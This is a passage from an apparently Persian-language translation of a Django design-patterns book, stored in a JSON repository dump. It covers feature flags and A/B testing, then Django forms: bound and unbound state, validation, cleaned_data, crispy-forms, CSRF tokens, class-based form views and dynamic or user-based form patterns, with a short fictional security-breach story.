هدف شما هستند؛ که به  صورت زیر مشاهده می کنید:\n\n<pre dir='ltr' style='background-color:#D3D3D3'><span class=\"pl-k\">def</span> <span class=\"pl-s1\">my_view</span>(<span class=\"pl-s1\">request</span>):\n    <span class=\"pl-k\">if</span> <span class=\"pl-en\">flag_is_active</span>(<span class=\"pl-s1\">request</span>, <span class=\"pl-s\">'flag_name'</span>):\n    \\#<span class=\"pl-v\">Behavior</span> <span class=\"pl-k\">if</span> <span class=\"pl-s1\">flag</span> <span class=\"pl-c1\">is</span> <span class=\"pl-s1\">active</span>.</pre>\n\nسایت ها می توانند چندین آزمایش از این دست را به صورت همزمان و موازی اجرا کنند، بنابراین مجموعه های مختلف کاربران ممکن است تجربیات متفاوتی داشته باشند. کمیت ها و بازخوردهای این آزمایش های کنترل شده،قبل از انتشار در سطح وسیع تر؛ جمع آوری و بررسی می شوند.\n\n\n##### آزمایش A/B:\n\nاین آزمایش نیز مشابه با مورد پیشین است، با این تفاوت که کاربران به صورت تصادفی در یک ازمایش کنترل شده انتخاب می شوند. این روش در طراحی وبسایت بسیار مرسوم است و با این هدف تعیین آن که کدام تغییرات موجب افزایش نرخ تبدیل می شود، انجام می شوند. در ادامه مثالی از آن را میبینیم:\n\n<pre dir='ltr' style='background-color:#D3D3D3'><span class=\"pl-k\">def</span> <span class=\"pl-s1\">my_view</span>(<span class=\"pl-s1\">request</span>):\n    <span class=\"pl-k\">if</span> <span class=\"pl-en\">sample_is_active</span>(<span class=\"pl-s1\">request</span>, <span class=\"pl-s\">'new_design'</span>):\n    \\#<span class=\"pl-v\">Behavior</span> <span class=\"pl-s1\">for</span> <span class=\"pl-s1\">test</span> <span class=\"pl-s1\">sample</span>.</pre>\n\n##### تست عملکرد:\nگاهی اوقات اندازه گیری تاثیر یک ویژگی بر عملکرد سرور دشوار است. در چنین شرایطی بهتر است از ابتدا پرچم را فقط برای درصد کمی از کابران فعال کنید. اگر عملکرد آن مورد رضایت بود، درصد فعال سازی را می توان به تدریج افزایش داد.\n\n##### محدودیت های خارجی:\nهمچنین می توانیم از پرچم های ویژگی به عنوان سوئیچ ویژگی در سراسر سایت استفاده کنیم که در دسترس بودن آن خدمات را منعکس می کند. به عنوان مثال، از کار افتادن سرویس های خارجی مانند Amazon S3 می تواند باعث شود که کابران در حین انجام اقداماتی مانند آپلود تصویر، با پیام های خطا مواجه شوند. هنگامی که سرویس خارجی برای مدت طولانی خاموش است، یک پرچم ویژگی را می توان فعال مرد و دکمه آپلود را غیر فعال کرد و یا پیامی قابل فهم در خصوص زمان خرابی سرویس نشان داد. این ویژگی ساده در وقت کاربر صرفه جویی کرده و تجربه کاربری بهتری را ارائه می دهد:\n\n<pre dir='ltr' style='background-color:#D3D3D3'><span class=\"pl-k\">def</span> <span class=\"pl-en\">my_view</span>(<span class=\"pl-s1\">request</span>):\n    <span class=\"pl-k\">if</span> <span class=\"pl-en\">switch_is_active</span>(<span class=\"pl-s\">'s3_down'</span>):\n    \\#<span class=\"pl-v\">Disable</span> <span class=\"pl-s1\">uploads</span> <span class=\"pl-c1\">and</span> <span class=\"pl-s1\">show</span> <span class=\"pl-s1\">it</span> <span class=\"pl-c1\">is</span> <span class=\"pl-s1\">downtime</span></pre>\n\nعیب اصلی این روش آن است که کد با عبارت های شرطی شلوغ می شود. با این حال، این مسئله را می توان با پاکسازی و تصحیح دوره ای کدها و حذف شروط برای ویژگی هایی که کاملا تایید شده اند ، یا حذف ویژگی هایی که به طور دائمی غیرفعال شده؛ تا حدی برطرف کنید.\n\nفعال سازی پرچم ها را می توان از سایت مدیریت با ساتفاده از سیستم های احراز هویت و مجوزهای کاربر داخلی کنترل کرد. همچنین می توانید درصد کاربران نمونه برای ازمایش را از رابط مدیریت کنترل کنید.\n\n\n### خلاصه\n\nدر این فصل، برنامه مدیریت داخلی جنگو(ادمین) را بررسی کردیم. نه تنها این بخش به عنوان یک ابزار کمکی بسیار مفید است، بلکه می توان برای بهبود ظاهر و کارایی، آن را سفارشی سازی کرد.\n\nدر فصل بعدی با در نظر گرفتن الگوهای مختلف و موارد استفاده شده متداول، نگاهی به نحوه استفاده موثرتر از فرم ها در جنگو خواهیم داشت.\n\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "07-Forms/README.md",
    "content": "# فرم ها :\nدر این فصل به مباحث زیر می پردازیم:<br>\n\n•\tنحوه کارکرد فرم ها<br> \n•\tورودی غیر قابل اعتماد<br>\n•\tپردازش فرم با (CBV)Class Based View<br> \n•\tکار با ویوهای CRUD<br>\n\nبیایید فرم های جنگو را کنار بگذاریم و به طور کلی در مورد فرم های وب صحبت کنیم. فرم ها فقط صفحات طولانی و خسته کننده با چندین فیلد نیستند که باید آنها را پر کنید. فرم ها همه جا هستند. ما هر روز از آنها استفاده می کنیم. فرم‌ها همه چیز را از کادر جستجوی Google گرفته تا دکمه لایک فیس‌بوک را شامل می شوند . \n\nجنگو  کارهای  پچیده  رادر هنگام کار با  فرم هایی مانند اعتبار سنجی یا نمایشی به صورت خلاصه انجام می دهد . همچنین بهترین شیوه های امنیتی مختلف را پیاده سازی می کند. با این حال، فرم ها می توانند یاعث سردرگمی شوند  زیرا ممکن است چندین حالت مختلف باشند. بیایید آنها را دقیق تر بررسی کنیم.\n\n\n\n## فرم ها چگونه کار می کنند\nدرک فرم ها ممکن است مشکل باشد زیرا تعامل با آنها بیش از یک چرخه درخواست-پاسخ طول می کشد. در ساده ترین حالت، شما باید یک فرم خالی ارائه دهید که کاربر آن را به درستی پر کرده و ارسال  کند. برعکس، آنها ممکن است برخی از داده‌های نامعتبر را وارد کنند، در این صورت، فرم باید دوباره ارسال شود تا کل فرم معتبر باشد.\n\nدر این سناریو می بینیم که یک فرم می تواند یکی از چندین حالت زیر  باشد و بین آنها تغییر می کند:\n\n\n•\tفرم خالی (فرم پر نشده): به این فرم در جنگو فرم بدون چهارچوب (unbound form) گفته می شود.<br>\n•\tفرم ارسال شده با خطا: به این فرم فرم محدود(bound form) می گویند اما فرم معتبر نیست .<br>\n•\tفرم ارسال شده بدون خطا: به این فرم فرم محدود(bound form) و معتبر(valid form) می گویند .<br>\n\nنکته: کاربران هرگز فرمی که در وضعیت خطا نباشد را مجدد نخواهند دید . به طور معمول، ارسال یک فرم معتبر باید کاربران را به یک صفحه موفقیت آمیز هدایت کند.\n\n\n<b>فرم ها در جنگو</b><br>\n\nنمونه های کلاس فرم جنگو شامل وضعیت هر فیلد و با خلاصه کردن آنها در یک سطح، خود فرم است. فرم دارای دو ویژگی مهم  است که به شرح زیر است:\n\nمحدود شده (is_bound): اگر این مقدار false را برگرداند، یک فرم بدون قید است، یعنی یک فرم تازه با مقادیر فیلد خالی یا پیش فرض. اگر مقدار true را برگرداند، فرم محدود است، یعنی حداقل یک فیلد با ورودی کاربر تنظیم شده است.<br>\n\n معتبر (is_valid): اگر این مقدار true را برگرداند، هر فیلد در فرم محدود دارای داده معتبر است. اگر نادرست باشد، حداقل در یک فیلد تعدادی داده نامعتبر وجود دارد یا فرم محدود نشده است.\n\n\n\n```python\nfrom django import forms\nclass PersonDetailsForm(forms.Form):\n    name = forms.CharField(max_length=100)\n    age = forms.IntegerField()\n```\n\nاین کلاس را می توان به صورت محدود یا بدون کران آغاز کرد، همانطور که در کد زیر نشان داده شده است:\n\n```bash\n>>> f = PersonDetailsForm()\n>>> print(f.as_p())\n<p><label for=\"id_name\">Name:</label> <input type=\"text\" name=\"name\"\nmaxlength=\"100\" required id=\"id_name\" /></p>\n<p><label for=\"id_age\">Age:</label> <input type=\"number\" name=\"age\"\nrequired id=\"id_age\" /></p>\n>>> f.is_bound\nFalse\n>>> g = PersonDetailsForm({\"name\": \"Blitz\", \"age\": \"30\"})\n>>> print(g.as_p())\n<p><label for=\"id_name\">Name:</label> <input type=\"text\" name=\"name\"\nvalue=\"Blitz\" maxlength=\"100\" required id=\"id_name\" /></p>\n<p><label for=\"id_age\">Age:</label> <input type=\"number\" name=\"age\"\nvalue=\"30\" required id=\"id_age\" /></p>\n>>> g.is_bound\nTrue\n```\n\nتوجه داشته باشید که چگونه نمایش HTML تغییر می کند تا ویژگی های مقادیر را با داده های محدود شده در آنها شامل شود. فقط زمانی می توان فرم را محدود کرد که آبجکت <br>فرم را در سازنده آن ایجاد کنید. چگونه ورودی کاربر به یک شی دیکشنری مانند که حاوی مقادیر برای هر فیلد فرم است ختم می شود؟\nبرای فهمیدن این موضوع، باید نحوه تعامل کاربر با یک فرم را بدانید. در نمودار زیر، کاربر فرم مشخصات یک شخص را باز می کند، ابتدا آن را به اشتباه پر می کند، ارسال می کند و سپس با اطلاعات معتبر دوباره ارسال می کند:\n\n\n![Typical of submitting and processing a form](form1.png)\nهمانطور که در نمودار قبل نشان داده شده است، زمانی که کاربر فرم را ارسال می کند، view که قابل فراخوانی است تمام داده های فرم را در داخل request.POST (نمونه ای از QueryDict) دریافت می کند. فرم با این شی که حالت دیکشنری دارد مقداردهی اولیه می شود، به این صورت که مانند یک فرهنگ لغت رفتار می کند و کمی هم عملکرد اضافی دارد.\nفرم ها را می توان به گونه ای تعریف کرد که بتوانند داده های فرم را به دو روش مختلف ارسال کنند: GET یا POST. فرم های تعریف شده با METHOD=\"GET\" داده های فرم کدگذاری شده را  در خود URL را ارسال می کنند. به عنوان مثال، هنگامی که یک جستجوی Google ارسال می کنید، URL شما ورودی فرم شما را خواهد داشت، یعنی رشته جستجو به طور قابل مشاهده در URL جاسازی شده است، مانند ?q=Cat+Pictures. روش GET برای فرم‌های خیلی ساده و ضعیف استفاده می‌شود که هیچ کار مفیدی در جهان  نمی‌کنند (یا به عبارت ساده‌تر، پردازش چند بار فرم اثری مشابه یک بار پردازش ان را دارد). در بیشتر موارد  این بدان معنی است که فقط برای بازیابی داده ها استفاده می شود.\n\nبا این حال، اکثریت قریب به اتفاق فرم ها با METHOD=\"POST\" تعریف می شوند. در این حالت داده های فرم به همراه بدنه درخواست HTTP ارسال می شود و توسط کاربر دیده نمی شود. آنها برای هر چیزی که شامل یک اثر جانبی است، مانند ایجاد یا به روز رسانی داده ها استفاده می شود.\n\nبسته به نوع فرمی که تعریف کرده اید، وقتی کاربر فرم را ارسال می کند، view داده های فرم را در request.GET یا request.POST دریافت می کند. همانطور که قبلا ذکر شد، هر یک از آنها مانند یک دیکشنری خواهد بود، بنابراین می توانید آن را به سازنده کلاس فرم خود ارسال کنید تا یک آبجکت فرم محدود شده را دریافت کنید.\n\n\n<br>\n\n<b>نقض امنیتی :</b><br>\n\nاستیو روی کاناپه بزرگ سه نفره خود خمیده بود و به شدت خروپف می کرد. در چند هفته گذشته، او بیش از 12 ساعت را در دفتر سپری کرده بود و امشب نیز از این قاعده مستثنی نبود. تلفنش که روی فرش افتاده بود بوق زد. ابتدا چیزی نامنسجم گفت که هنوز در خواب بود. سپس، بارها و بارها، با اضطرار فزاینده، بوق زد.\n\nبا صدای پنجم، استیو از خواب بیدار شد. او دیوانه وار تمام مبل خود را جستجو کرد و سرانجام گوشی خود را روی زمین پیدا کرد. صفحه نمایش نمودار میله ای با رنگ روشن را نشان می داد. به نظر می‌رسید که هر نوار به جز یکی، خط بالایی را لمس می‌کند. لپ تاپ خود را بیرون آورد و وارد سرور SuperBook شد. سایت فعال بود و هیچ یک از گزارش‌ها فعالیت غیرعادی را نشان نمی‌داد. با این حال، خدمات خارجی چندان خوب به نظر نمی رسید.\n\nبه نظر می رسید که تلفن آن طرف تا ابد زنگ می زند تا اینکه صدای عصبی پاسخ داد: \"سلام استیو؟\". نیم ساعت بعد، جاکوب توانست مشکل یک سرویس تأیید صحت که پاسخگو نبود را برطرف کند. \"آیا این دویدن روی سائورون (Sauron) نیست؟\" از استیو پرسید. یک تردید کوتاه وجود داشت. جاکوب پاسخ داد: من می ترسم.\n\nشکم استیو در حال غرغر کردن بود . Sauron، یک اپلیکیشن mainframe است که اولین خط دفاعی آنها در برابر حملات سایبری و انواع دیگر حملات احتمالی بود. ساعت سه بامداد بود که به تیم کنترل ماموریت هشدار داد. جاکوب در تمام مدت با او چت می کرد. او همه ابزارهای تشخیصی موجود را اجرا می کرد. هیچ نشانه ای از نقض امنیتی وجود نداشت.\n\nاستیو سعی کرد او را آرام کند. او به جاکوب اطمینان داد که شاید این یک بار اضافی موقتی است و نیاز بخ کاهش باردارد . با این حال، او می دانست که جاکوب تا زمانی که اشتباه را پیدا نکند، متوقف نخواهد شد. او همچنین می دانست که برای سائورون معمولی نیست که اضافه بار موقت داشته باشد. با احساس خستگی شدید، دوباره به خواب رفت.\n\nصبح روز بعد، هنگامی که استیو در حالی که یک نان شیرینی در دست داشت با عجله به سمت ساختمان اداری خود می رفت، صدای غرش کر کننده ای را شنید. او برگشت و به بالا نگاه کرد تا یک سفینه فضایی عظیم را دید که بر فراز او قرار داشت. به طور غریزی پشت پرچینی خم شد. در طرف دیگر پرچین، او می توانست چندین شی فلزی سنگین را بشنود که به زمین می چسبیدند. همون موقع تلفن همراهش زنگ خورد. جاکوب بود. چیزی به او نزدیکتر شده بود. همانطور که استیو به بالا نگاه کرد، یک ربات قد تقریباً 10 فوتی، نارنجی و مشکی رنگی را دید که چیزی شبیه یک سلاح را مستقیماً به سمت او نشانه رفته بود.\nتلفنش همچنان زنگ می خورد. گلگوله ها به اطراف او می خوردند . او تماس را پذیرفت.\n\n\"هی استیو، حدس بزن چی، فهمیدم واقعا چه اتفاقی افتاده است.\" استیو با کنایه گفت: «من عاشق اینم که بدونم . \n\n\"یادتان می آید که ما از ویجت فرم UserHoller برای جمع آوری بازخورد مشتریان استفاده کرده بودیم؟ ظاهراً داده های آنها چندان تمیز نبود. منظورم چندین سوء استفاده جدی است. سلام، صدای پس زمینه زیادی وجود دارد. آیا آن تلویزیون است؟\" استیو به سمت تابلوی بزرگی شیرجه زد که روی آن نوشته شده بود \"نقطه مونتاژ ایمن\".\n\nاو فریاد زد: \"فقط نادیده بگیر. به من بگو چه اتفاقی افتاده است.\"\n\n\"خوب. بنابراین، وقتی ادمین ما صفحه بازخورد را باز کرد، لپ تاپ او باید آلوده شده باشد. این کرم می تواند به سیستم های دیگری که به آنها دسترسی دارد، به ویژه سائورون، برسد. باید بگویم استیو، این یک حمله بسیار هدفمند است. کسی که می داند که سیستم امنیتی ما به خوبی این را طراحی کرده است. من احساس می کنم چیزی ترسناک در راه است.\"\n\nدر آن سوی چمن، روباتی یک SUV را برداشت و به سمت استیو پرتاب کرد. دستانش را بالا آورد و چشمانش را بست. توده فلزی در حال چرخش چند فوت بالاتر از او یخ زد.\n\n\"تماس مهم؟\" هگزا در حالی که ماشین را رها کرد پرسید\n\nاستیو التماس کرد: \"آره، لطفا مرا از اینجا بیرون کن.\"\n\n\n<b>چرا داده ها نیاز به تمیز کردن دارند؟</b><br>در نهایت ما ، باید داده های پاک شده را از فرم دریافت کنید. آیا این به این معنی است که مقادیری که کاربر وارد کرده تمیز نبوده است؟ بله به دو دلیل\n\nاولاً، به هر چیزی که از دنیای بیرون می آید، در ابتدا نباید اعتماد کرد. کاربران مخرب می توانند از طریق فرمی  انواع سوء استفاده ها را بکنند  که می تواند امنیت سایت شما را تضعیف کند. بنابراین، قبل از استفاده از هر داده فرم، باید پاک سازی شود.\n\nبهترین روش: هرگز به ورودی کاربر اعتماد نکنید.\n\nثانیاً، مقادیر فیلد در request.POST و request.GET فقط رشته هستند. حتی اگر فیلد فرم شما را بتوان به عنوان یک عدد صحیح (مثلاً سن) یا تاریخ (مثلاً تولد) تعریف کرد، مرورگر آنها را به عنوان رشته به ویوی شما ارسال می کند. همیشه، شما می خواهید قبل از استفاده آنها را به انواع پایتون مناسب تبدیل کنید. کلاس form این تبدیل را به طور خودکار برای شما در حین تمیز کردن انجام می دهد.\nبیایید این را در عمل ببینیم:\n\n```bash\n>>> fill = {\"name\": \"Blitz\", \"age\": \"30\"}\n>>> g = PersonDetailsForm(fill)\n>>> g.is_valid()\nTrue\n>>> g.cleaned_data\n{'age': 30, 'name': 'Blitz'}\n>>> type(g.cleaned_data[\"age\"])\nint\n```\nمقدار age به عنوان یک رشته (احتمالاً از request.POST) به کلاس فرم منتقل شد. پس از اعتبارسنجی، داده های پاک شده حاوی سن به شکل عدد صحیح است. این دقیقا همان چیزی است که شما انتظار دارید. فرم‌ها سعی می‌کنند این واقعیت را که رشته‌ها حاوی مقادیر مختلف باشند را انتزاع کنند و اشیاء پایتون تمیزی را در اختیار شما قرار دهند که بتوانید از آنها استفاده کنید.\nنکته: همیشه از cleaned_data فرم خود به جای داده های خام کاربر استفاده کنید.\n\n\n## نمایش فرم ها :\n\nفرم های جنگو همچنین به شما کمک می کنند تا یک نمایش HTML از فرم خود ایجاد کنید. آنها از سه نمایش مختلف پشتیبانی می کنند: as_p (به عنوان برچسب پاراگراف)، as_ul (به عنوان آیتم های لیست نامرتب)، و as_table (به عنوان یک جدول).\n\nکد قالب، کد HTML تولید شده و رندر مرورگر برای هر یک از این نمایش ها در جدول زیر خلاصه شده است:\n\n\n![](2.png)\n\nتوجه داشته باشید که ویوی HTML فقط فیلدهای فرم را می دهد. این کار گنجاندن چندین فرم جنگو را در یک فرم HTML ساده تر می کند. با این حال، این بدان معناست که طراح قالب، همانطور که در کد زیر نشان داده شده است، برای هر فرم مقدار مناسبی می تواند اختیار کند :\n\n```html\n<form method=\"post\">\n    {% csrf_token %}\n    <table>{{ form.as_table }}</table>\n    <input type=\"submit\" value=\"Submit\" />\n</form>\n```\n\nنکته: برای کامل کردن نمایش HTML، باید تگ های فرم ، یک csrf_token، تگ جدول یا ul و دکمه ارسال را اضافه کنید.\n\n<b>زمان استفاده از crispy است : </b><br>\n\nزمانی که برای هر فرم در قالب‌هایتان تعداد زیادی کد html بنویسید، ممکن است خسته‌کننده شود. بسته django-crispy-forms کد قالب فرم را واضح تر می کند (یعنی مختصر). تمام ارائه و طرح‌بندی را به خود فرم جنگو منتقل می‌کند. به این ترتیب می توانید کدهای پایتون بیشتری بنویسید و HTML کمتری بنویسید.\nجدول زیر نشان می دهد که تگ قالب crispy فرم کامل تری ایجاد می کند و ظاهر بسیار بومی تر به سبک بوت استرپ است:\n\n\n![](3.png)\n\nبنابراین، چگونه می توانید فرم های Crispy را دریافت کنید؟ شما باید بسته django-crispy-forms را نصب کرده و به INSTALLED_APPS خود اضافه کنید. اگر از Bootstrap 4 استفاده می کنید، باید این را در تنظیمات خود ذکر کنید:\n\n```python\nCRISPY_TEMPLATE_PACK = \"bootstrap4\"\n```\n\nمقداردهی اولیه فرم نیاز به ذکر یک ویژگی کمکی از نوع FormHelper دارد. کد زیر در formschapter/forms.py در نظر گرفته شده است که حداقل باشد و از طرح بندی پیش فرض استفاده می کند:\n\n```python\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Submit\nclass PersonDetailsForm(forms.Form):\n    name = forms.CharField(max_length=100)\n    age = forms.IntegerField()\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.helper = FormHelper(self)\n        self.helper.layout.append(Submit('submit', 'Submit'))\n```\nبرای جزئیات بیشتر، مستندات بسته django-crispy-forms را بخوانید.\n\n## <b>آشنایی با CSRF</b><br>\nحتما متوجه چیزی به نام توکن جعل درخواست متقابل (CSRF) در قالب‌های فرم شده‌اید. چه کار میکند؟ این یک مکانیسم امنیتی در برابر حملات CSRF برای فرم های شما است.\n\nاین با تزریق یک رشته تصادفی تولید شده توسط سرور به نام توکن CSRF، منحصر به فرد برای session کاربر کار می کند. هر بار که یک فرم ارسال می شود، باید یک فیلد مخفی داشته باشد که حاوی این نشانه باشد. این توکن تضمین می کند که فرم توسط سایت اصلی برای کاربر ایجاد شده است و ثابت می کند که یک فرم جعلی ایجاد شده توسط مهاجم با فیلدهای مشابه نیست.\nتوکن‌های CSRF برای فرم‌هایی که از روش GET استفاده می‌کنند توصیه نمی‌شوند، زیرا اقدامات GET نباید وضعیت سرور را تغییر دهد. علاوه بر این، فرم‌هایی که از طریق GET ارسال می‌شوند، نشانه CSRF را در URLها نشان می‌دهند. از آنجایی که آدرس‌های اینترنتی دارای ریسک بالاتری برای لاگ شدن یا  shoulder-sniffed هستند، بهتر است از CSRF در فرم‌هایی با استفاده از روش POST استفاده کنید.\n\n\n## <b>پردازش فرم ها با Class Based View  (CBV) :</b><br>\n\nاساساً می‌توانیم یک فرم را با زیر کلاس‌بندی خود کلاس View پردازش کنیم:\n\n```python\nclass ClassBasedFormView(generic.View):\n    template_name = 'form.html'\n\n    def get(self, request):\n        form = PersonDetailsForm()\n        return render(request, self.template_name, {'form': form})\n\n    def post(self, request):\n        form = PersonDetailsForm(request.POST)\n        if form.is_valid():\n            # Success! We can use form.cleaned_data now\n            return redirect('success')\n        else:\n            # Invalid form! Reshow the form with error highlighted\n            return render(request, self.template_name, {'form': form})\n```\n\nاین کد را با نمودار توالی که قبلاً دیدیم مقایسه کنید. سه سناریو به طور جداگانه بررسی شده است.\n\nانتظار می رود هر فرم از الگوی ارسال/تغییر مسیر/دریافت (PRG) پیروی کند. اگر فرم ارسالی معتبر تشخیص داده شود، باید یک تغییر مسیر صادر کند. این از ارسال فرم های تکراری جلوگیری می کند.\n\nبا این حال، این یک کد بسیار DRY نیست. ویژگی های کلاس فرم و template_name تکرار شده اند. استفاده از یک نمای کلی مبتنی بر کلاس مانند FormView می تواند افزونگی پردازش فرم را کاهش دهد. کد زیر عملکردی مشابه کد قبلی و در خطوط کد کمتری به شما می دهد:\n\n```python\nfrom django.urls import reverse_lazy\n\nclass GenericFormView(generic.FormView):\n    template_name = 'form.html'\n    form_class = PersonDetailsForm\n    success_url = reverse_lazy(\"success\")\n```\nدر این مورد باید از reverse_lazy استفاده کنیم زیرا الگوهای URL هنگام وارد کردن فایل View بارگذاری نمی شوند.\n\n## <b>الگوهای فرم : </b><br>\nبیایید نگاهی به برخی از الگوهای رایجی که هنگام کار با فرم ها استفاده می شود بیندازیم.\n\n<b>الگو – ساخت فرم های داینامیک </b><br>\n<b>مشکل</b>: افزودن فیلدهای فرم به صورت پویا یا تغییر فیلدهای فرم از آنچه اعلام شده است.<br>\n<b>راه حل</b>: در طول مقداردهی اولیه فرم، فیلدها را اضافه یا تغییر دهید.\n\n\n<b>جزییات مشکل: </b><br>\nفرم ها معمولاً به سبک declarative تعریف می شوند و فیلدهای فرم به عنوان فیلدهای کلاس فهرست می شوند. اما گاهی اوقات تعداد یا نوع این فیلدها را از قبل نمی دانیم. این امر مستلزم آن است که فرم به صورت پویا تولید شود. این الگو را گاهی فرم پویا یا تولید فرم زمان اجرا می نامند.\nتصور کنید یک سیستم چک کردن مسافر برای پرواز از یک فرودگاه. این سیستم امکان ارتقاء بلیط های کلاس اقتصادی را به درجه یک فراهم می کند. اگر صندلی های درجه یک باقی مانده است، باید گزینه دیگری را به کاربر نشان دهد و از او بپرسد که آیا مایل به ارتقا به درجه یک هستند یا خیر. با این حال، این فیلد اختیاری را نمی توان اعلام کرد زیرا به همه کاربران نشان داده نمی شود. چنین فرم های پویا را می توان با این الگو اداره کرد.\n\n<b>راه حل مشکل: </b><br>\nهر نمونه فرم دارای یک ویژگی به نام فیلدها است که دیکشنری است که تمام فیلدهای فرم را در خود جای می دهد. این را می توان در زمان اجرا تغییر داد. افزودن یا تغییر فیلدها را می توان در طول مقداردهی اولیه فرم انجام داد.\n\nبه عنوان مثال، اگر فقط در صورتی نیاز به افزودن یک چک باکس به فرم جزئیات کاربر داشته باشیم که آرگومان کلمه کلیدی به نام \"ارتقا\" در زمان اولیه سازی فرم درست باشد، آن را به صورت زیر پیاده سازی می کنیم:\n\n\n```python\nclass PersonDetailsForm(forms.Form):\n\n    name = forms.CharField(max_length=100)\n    age = forms.IntegerField()\n\n    def __init__(self, *args, **kwargs):\n        upgrade = kwargs.pop(\"upgrade\", False)\n        super().__init__(*args, **kwargs)\n\n        # Show first class option?\n        if upgrade:\n            self.fields[\"first_class\"] = forms.BooleanField(\n            label=\"Fly First Class?\")\n```\nاکنون، فقط باید آرگومان کلمه کلیدی PersonDetailsForm(upgrade=True) را پاس کنیم تا یک فیلد ورودی بولی اضافی (چک باکس) ظاهر شود.\nبرای جلوگیری از خطای غیرمنتظره کلمه کلیدی، یک آرگومان کلمه کلیدی تازه معرفی شده باید قبل از فراخوانی super حذف شود یا ظاهر شود.\nاگر برای این مثال از یک کلاس FormView استفاده کنیم، باید آرگومان کلمه کلیدی را با نادیده گرفتن متد get_form_kwargs از کلاس View، همانطور که در کد زیر نشان داده شده است، پاس کنیم:\n\n```python\nclass PersonDetailsEdit(generic.FormView):\n    ...\n\n    def get_form_kwargs(self):\n        kwargs = super().get_form_kwargs()\n        kwargs[\"upgrade\"] = True\n        return kwargs\n```\n\nاز این الگو می توان برای تغییر هر ویژگی یک فیلد در زمان اجرا استفاده کرد، مانند ویجت یا متن راهنما. برای فرم های مدل نیز کار می کند. در بسیاری از موارد، نیاز ظاهری به فرم های پویا را می توان با استفاده از مجموعه فرم های جنگو حل کرد. آنها زمانی استفاده می شوند که یک فرم نیاز به تکرار در یک صفحه داشته باشد. یک مورد معمول استفاده از فرم‌ست‌ها هنگام طراحی نمای شبکه‌ای داده (data-grid)برای افزودن عناصر سطر به ردیف است. به این ترتیب، شما نیازی به ایجاد یک فرم پویا با تعداد دلخواه ردیف ندارید. شما فقط باید یک فرم برای ردیف ایجاد کنید و با استفاده از تابع formset_factory چندین ردیف ایجاد کنید.\n\n<b>الگو : فرم های User-Based</b><br>\n<b>مشکل</b>: فرم ها باید بر اساس کاربر وارد شده سفارشی شوند.<br>\n\n<b>راه حل</b>: ویژگی های کاربر وارد شده را به عنوان آرگومان کلمه کلیدی به مقداردهی اولیه فرم منتقل کنید.<br>\n\n<b>جزییات مشکل: </b><br>\nیک فرم می تواند به روش های مختلف بر اساس کاربر ارائه شود. برخی از کاربران ممکن است نیازی به پر کردن تمام فیلدها نداشته باشند، در حالی که برخی دیگر ممکن است نیاز به اضافه کردن اطلاعات اضافی داشته باشند. در برخی موارد، ممکن است لازم باشد برخی بررسی‌ها را در مورد واجد شرایط بودن کاربر انجام دهید، مانند تأیید اینکه آیا آنها اعضای یک گروه هستند یا خیر، تا تعیین کنید فرم چگونه باید ساخته شود.\n\n<b>راه حل مشکل: </b><br>\nهمانطور که حتما متوجه شده اید، می توانید با استفاده از راه حل ارائه شده در الگوی تولید فرم پویا این مشکل را حل کنید. شما فقط باید request.user یا هر یک از ویژگی های آنها را به عنوان آرگومان کلمه کلیدی به فرم ارسال کنید. من دومی را برای به حداقل رساندن جفت بین نما و فرم توصیه می کنم.\nمانند مثال قبلی، باید یک چک باکس اضافی را به کاربر نشان دهیم. با این حال، این تنها در صورتی نشان داده می شود که کاربر عضو گروه \"VIP\" باشد.\nبیایید نگاهی بیندازیم که چگونه نمای مشتق شده GenericFormView این اطلاعات را به فرم ارسال می کند:\n\n```python\nclass GenericFormView(generic.FormView):\n\n    template_name = 'cbv-form.html'\n    form_class = PersonDetailsForm\n    success_url = reverse_lazy(\"home\")\n\n    def get_form_kwargs(self):\n        kwargs = super().get_form_kwargs()\n        # Check if the logged-in user is a member of \"VIP\" group\n        kwargs[\"vip\"] = self.request.user.groups.filter(name=\"VIP\").exists()\n        return kwargs\n```\n\nدر اینجا، ما در حال تعریف مجدد متد get_form_kwargs هستیم که FormView قبل از نمونه سازی ، یک فرم را برای برگرداندن آرگومان های کلمه کلیدی فراخوانی می کند. این نقطه ایده آل برای بررسی اینکه آیا کاربر به گروه VIP تعلق دارد و آرگومان کلمه کلیدی مناسب را ارسال می کند.\nمانند قبل، فرم می تواند وجود آرگومان کلمه کلیدی vip را بررسی کند (مانند آنچه برای ارتقا انجام دادیم) و یک چک باکس برای ارتقا به کلاس اول ارائه دهد.\n\n\n<b>الگو : اقدامات چندگانه به ازای هر View</b><br>\n<b>مشکل</b>: مدیریت چندین عملکرد فرم در یک نما یا صفحه واحد.<br>\n\n<b>راه‌حل</b>: فرم‌ها می‌توانند از نماهای جداگانه برای رسیدگی به ارسال‌های فرم استفاده کنند، یا یک نمای واحد می‌تواند فرم را بر اساس نام دکمه ارسال شناسایی کند.<br>\n\n<b>جزییات مشکل: </b><br>\nجنگو ترکیب چند فرم را با یک عمل مشابه، مانند یک دکمه ارسال، نسبتاً ساده می کند. با این حال، بیشتر صفحات وب نیاز به نمایش چندین عملکرد در یک صفحه دارند. برای مثال، ممکن است بخواهید کاربر با استفاده از دو فرم مجزا که در همان صفحه نشان داده شده اند، مشترک یا لغو اشتراک در یک خبرنامه شود.\nبا این حال، FormView جنگو برای مدیریت تنها یک فرم در هر سناریو طراحی شده است. بسیاری دیگر از دیدگاه‌های مبتنی بر کلاس عمومی نیز این فرض را دارند.\n\n\n<b>راه حل مشکل: </b><br>\nدو راه برای مدیریت چند فرم وجود دارد: استفاده از نماهای جداگانه و استفاده از یک نمای واحد. بیایید نگاهی به رویکرد اول بیندازیم.\n\n<b>چندین View برای چندین اقدام (Action) :</b><br>\nاین یک رویکرد نسبتاً ساده است و هر فرم دیدگاه متفاوتی را به عنوان عمل خود مشخص می کند. به عنوان مثال، فرم های اشتراک و لغو اشتراک را درنظر بگیرید. می‌توان دو کلاس view مجزا برای مدیریت متد POST از فرم‌های مربوطه وجود خواهد داشت.\n\n<b>یک View برای چندین اقدام :</b><br>\nشاید تقسیم نماها برای رسیدگی به فرم‌ها را غیرضروری بدانید، یا مدیریت فرم‌های مرتبط منطقی در یک نمای رایج را زیباتر بدانید. در هر صورت، می‌توانیم محدودیت‌های نماهای مبتنی بر کلاس عمومی را برای مدیریت بیش از یک فرم دور بزنیم.\nدر حالی که از یک کلاس view برای چندین فرم استفاده می شود، چالش این است که مشخص کنیم کدام فرم اقدام 